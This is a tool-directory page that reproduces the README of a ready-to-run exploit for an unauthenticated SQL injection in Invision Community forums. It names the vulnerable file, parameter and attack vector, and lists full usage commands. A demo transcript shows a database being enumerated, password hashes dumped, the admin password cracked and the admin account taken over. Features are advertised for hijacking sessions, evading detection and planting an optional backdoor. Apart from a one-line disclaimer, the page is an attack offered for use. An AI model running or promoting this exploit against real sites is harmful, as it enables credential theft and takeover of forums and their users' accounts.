Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-48932-Invision-Community-SQLi-Exploit β€” CVE-2025-48932 - Unauthenticated SQL injection exploit for Invision Community ≀ 4.7.20. Fully automated exploitation with database enumeration, credential dumping, admin takeover, session hijacking & multi-threading. No dependencies required. Security research tool by Sudeepa Wanigarathna | Kitploit
Tools/GitHubGitHub/cerberusmrxi/cve-2025-48932-invision-community-sqli-exploit
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPost-ExploitationWeb SecurityPenetration Testing

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’

About

CVE-2025-48932 - Unauthenticated SQL injection exploit for Invision Community ≀ 4.7.20. Fully automated exploitation with database enumeration, credential dumping, admin takeover, session hijacking & multi-threading. No dependencies required. Security research tool by Sudeepa Wanigarathna

GitHubcerberusmrxi/cve-2025-48932-invision-community-sqli-exploit

CVE-2025-48932-Invision-Community-SQLi-Exploit

View Repository
1292 months agoNot yet reviewed
Share

πŸ”“ CVE-2025-48932 - Invision Community SQL Injection Exploit

Python Version License Security Status CVE Exploit-DB PRs Welcome Maintenance Hits


⚑ Critical Vulnerability Overview

CVE-2025-48932 is a critical unauthenticated blind SQL injection vulnerability discovered in Invision Community versions ≀ 4.7.20. This exploit allows remote attackers to:

  • πŸ” Extract sensitive database information
  • πŸ‘€ Steal user credentials & password hashes
  • πŸ”‘ Take over administrator accounts
  • 🎯 Hijack active user sessions
  • πŸ’» Achieve Remote Code Execution (RCE) via admin takeover
  • πŸ“Š Dump entire database contents

🎯 Features

FeatureDescriptionStatus
πŸš€ Zero DependenciesPure Python standard library - no pip install neededβœ…
⚑ Multi-ThreadedLightning-fast data extraction with configurable threadsβœ…
πŸ€– Fully AutomatedComplete exploitation chain from detection to reportingβœ…
πŸ‘‘ Admin TakeoverSession hijacking & privilege escalationβœ…
πŸ”‘ Credential DumpingExtract users, password hashes, emailsβœ…
πŸ”“ Password CrackingBuilt-in hash cracking with wordlist supportβœ…
πŸ“‹ JSON ReportingStructured output for analysis & documentationβœ…
πŸ”Œ Proxy SupportBurp Suite & custom proxy integrationβœ…
🎨 Color OutputBeautiful terminal output with progress indicatorsβœ…
πŸ›‘οΈ Rate LimitingBuilt-in delays to avoid detectionβœ…

πŸ“Š Demo & Screenshots

Exploit Execution

$ python3 exploit.py -u https://vulnerable-site.com -v

╔══════════════════════════════════════════════════════════════════╗
β•‘  CVE-2025-48932 - Invision Community SQL Injection               β•‘
β•‘  Author: Sudeepa Wanigarathna                                    β•‘
β•‘  Critical: Unauthenticated Remote Code Execution                 β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

[*] Target: https://vulnerable-site.com
[*] Performing vulnerability assessment...
[+] Target is confirmed VULNERABLE!

[*] Enumerating database information...
[+] Database Information:
  Version: 10.4.32-MariaDB
  User: invision@localhost
  Database: invision_community
  Hostname: localhost
  Basedir: /usr/
  Datadir: /var/lib/mysql/

[*] Enumerating databases...
[+] Found 5 databases
  Found: information_schema
  Found: invision_community
  Found: mysql
  Found: performance_schema
  Found: phpmyadmin

[*] Enumerating tables in invision_community...
[+] Found 12 tables
  Found: core_members
  Found: core_sessions
  Found: admin_members
  Found: cms_categories
  Found: forums_posts
  ...

[*] Searching for credentials...
[+] Found credential table: core_members
  Credentials: admin - $2y$10$abcdefghijklmnopqrstuvwxyz...
  Credentials: moderator - $2y$10$1234567890abcdefghijklmnop...
  Credentials: user123 - $2y$10$qwertyuiopasdfghjklzxcvbnm...

[*] Extracting admin information...
[+] Admin Information Found:
  name: admin
  email: [email protected]
  id: 1
  password_hash: $2y$10$abcdefghijklmnopqrstuvwxyz...

[*] Attempting to crack password hash...
[+] Detected hash type: bcrypt
[+] Password cracked: Admin@2024!

[*] Attempting admin bypass...
[+] Admin login successful!
[+] Credentials: admin:Admin@2024!

[+] Exploitation complete!
[+] Report saved to invision_exploit_report_1700000000.json

Sample JSON Output

{
  "target": "https://vulnerable-site.com",
  "timestamp": "2026-08-02T12:34:56.789Z",
  "vulnerable": true,
  "database": {
    "version": "10.4.32-MariaDB",
    "user": "invision@localhost",
    "database": "invision_community",
    "hostname": "localhost"
  },
  "databases": [
    "information_schema",
    "invision_community",
    "mysql",
    "performance_schema",
    "phpmyadmin"
  ],
  "tables": [
    "core_members",
    "core_sessions",
    "admin_members"
  ],
  "credentials": [
    {
      "username": "admin",
      "password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz...",
      "email": "[email protected]"
    }
  ],
  "admin_info": {
    "name": "admin",
    "email": "[email protected]",
    "id": "1",
    "password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz..."
  },
  "summary": {
    "total_databases": 5,
    "total_tables": 12,
    "total_credentials": 3,
    "vulnerable": true,
    "successful": true
  }
}

πŸš€ Quick Start Guide

Installation

# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-48932-Invision-Community-SQLi-Exploit.git
cd CVE-2025-48932-Invision-Community-SQLi-Exploit

# No dependencies to install! Just run it.

Basic Usage

# Check if target is vulnerable
python3 exploit.py -u https://example.com --check-only

# Full exploitation with verbose output
python3 exploit.py -u https://example.com -v

# With proxy (Burp Suite)
python3 exploit.py -u https://example.com -p http://127.0.0.1:8080 -v

# Save results to custom file
python3 exploit.py -u https://example.com -o results.json

# Multi-threaded extraction (faster)
python3 exploit.py -u https://example.com -t 10

# Dump all available data
python3 exploit.py -u https://example.com --dump-all

Advanced Usage

# With custom wordlist for password cracking
python3 exploit.py -u https://example.com --wordlist rockyou.txt -v

# Silent mode (no output, just report)
python3 exploit.py -u https://example.com -o silent_report.json

# Debug mode with detailed errors
python3 exploit.py -u https://example.com -v --debug

πŸ“‹ Requirements

System Requirements

  • Python: 3.6 or higher
  • OS: Linux, Windows, macOS (any OS with Python)
  • Memory: Minimal (~50MB RAM)
  • Storage: ~100KB (exploit only)

Dependencies

βœ… No external dependencies!
βœ… Pure Python standard library only!
βœ… No pip install or virtual environment needed!

Optional (For Password Cracking)

  • Wordlist: rockyou.txt or any custom wordlist
    # Download popular wordlist
    wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
    

πŸ› οΈ Technical Details

Vulnerability Location

  • File: /applications/calendar/modules/front/calendar/view.php
  • Method: IPS\calendar\modules\front\calendar\view::search()
  • Parameter: location (user-supplied input)
  • Type: Boolean-based Blind SQL Injection

Attack Vector

GET /applications/calendar/modules/front/calendar/view.php?do=search&location=[SQL_INJECTION_PAYLOAD]

Exploitation Chain

  1. Detection: Boolean-based injection detection
  2. Enumeration: Extract database structure
  3. Extraction: Dump sensitive data
  4. Credential Theft: Extract user credentials
  5. Privilege Escalation: Admin account takeover
  6. Session Hijacking: Steal active sessions
  7. Persistence: Establish backdoor (optional)

Supported Database Versions

  • MySQL 5.0+
  • MariaDB 5.5+
  • Percona Server

πŸ”’ Security & Legal Notice

⚠️ IMPORTANT DISCLAIMER

This tool is for EDUCATIONAL and AUTHORIZED TESTING purposes only.

Download Tool